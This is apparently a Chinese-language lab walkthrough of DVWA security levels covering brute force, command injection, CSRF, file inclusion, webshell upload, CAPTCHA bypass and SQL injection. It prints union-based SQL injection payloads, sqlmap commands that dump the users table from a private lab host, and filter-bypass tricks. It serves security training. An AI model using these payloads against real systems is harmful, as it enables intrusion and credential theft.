Brute Force
Low
用admin账号输入一个随机密码进行抓包,发送到爆破模块进行字典爆破密码
发现有一个响应长度不一样,最终发现这就是密码
Medium
一样抓密码去爆破
High
该关新增了token验证,使用burp爆破需要进行额外设置
根据该关源码设计思路先提交账号密码,当登陆失败时,返回一个新的token,下次提交登陆数据时,需要带着这个token,当token验证通过后,才会验证账号密码
一样先抓包放到爆破模块,选择攻击模式为Pitchfork,将password和token设置为两个参数,password和上述添加字典一致就不再阐述,设置第二个参数:
将这个设置为always
设置第二个参数的攻击模式
开始攻击,一样看到一个数据包长度不一致,查看即爆破成功
Command Injection
Low
|、||、&、&&都是windows和linux的连接管道符
Medium
新增过滤了&&和;符号,不使用即可
High
新增过滤了更多字符,但这过滤的 | 后面多了一个空格
CSRF
Low
该关只校验了cookie
抓取到更改密码时的数据包,用bp生成一个CSRF链接
丢弃掉抓的数据包,然后模拟用户在登录的状态下点击了陌生链接的情况,当一访问链接时发现密码被更改
Medium
先试试Low的方法,发现提示,是来源不正确
在Low方法中,在访问csrf链接时再抓一次包,修改referer字段,只要字段中包含host的内容即可,也可以手写一个网页然后将网页名称修改为包含host字段的名字,然后在访问时的referer就会包含host
High
File Inclusion
Low
输入一个不存在的php文件,暴露出了目录
尝试获取phpinfo.php
获取源码
Medium
先输入一个不存在的php文件
尝试获取c:\windows\win.ini文件,能够获取得到
尝试获取../../phpinfo.php发现提示文件不存在,但实际该文件存在,可能时../过滤
尝试双写绕过
High
file伪协议读取文件
File Upload
Low
写一个一句话木马上传,蚁剑或菜刀或其他连接工具连接即可
Medium
正常上传提示不是图像
通过修改Content-Type伪造为png文件
High
只能利用文件上传+文件包含,首先制作图片马上传
利用文件包含漏洞解析图片马
蚁剑连接即可
Insecure CAPTCHA
Low
正常修改密码显示验证不通过
抓包,将step修改为2即可通过
Medium
通过查看源码,需要step=2和passed_captcha=true才可通过校验
High
分析源码,UA字段需要是reCAPTCHA,g-recaptcha-response=hidd3n_valu3即可
SQL Injection
Low
判断是否存在漏洞和闭合方式是'
使用order by判断字段数为2
联合查询1,2查看是否有返回显示
有返回显示,使用联合查询注入获取数据库名
id=x' union select database(),2#
获取表名
x' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取字段
x' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
获取id=1的user和password
x' union select 1,concat(user,',',password) from users where user_id=1#
md5爆破
Medium
其主要是多了一个选择框只需要在bp抓包中进行数字型联合查询注入即可基本和Low一致
High
判断有无sql漏洞,1正常,1"正常,1'报错,证明存在sql注入漏洞,闭合方式是'
判断字段数为2,因为3报错
查询1,2有返回显示,使用联合查询注入
获取数据库名
获取表名
1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#
获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
获取数据
1' union select 1,group_concat(user,',',password) from users where user_id=1#
SQL Injection (Blind)
Low
使用sqlmap获取数据库名
bash
python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --current-db
获取表名
bash
python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --tables -D dvwa
获取字段
bash
python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --columns -T users -D dvwa
获取数据
bash
python sqlmap.py -u "http://192.168.142.140:1111/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --dump -C user,password -T users -D dvwa
Medium
将数据包保存成txt并在id参数值后面添加*
sqlmap获取数据库名
bash
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --current-db
获取表
bash
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --tables -D dvwa
获取字段
bash
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --columns -T users -D dvwa
获取数据
High
注入页面和显示页面不是同一个页面,设置--second-url参数即可
sqlmap获取数据库名
bash
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities
/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --current-db
获取表名
bash
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --tables -D dvwa
获取字段
bash
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --columns -T users -D dvwa
获取数据
bash
python sqlmap.py -r C:\Users\CHEN\Desktop\1.txt --second-url http://192.168.142.140:1111/vulnerabilities/sqli_blind/ --cookie="id=1; security=high; PHPSESSID=mjcu5aqpj0ltvuic8his8r3943" --dump -C user,password -T users -D dv
wa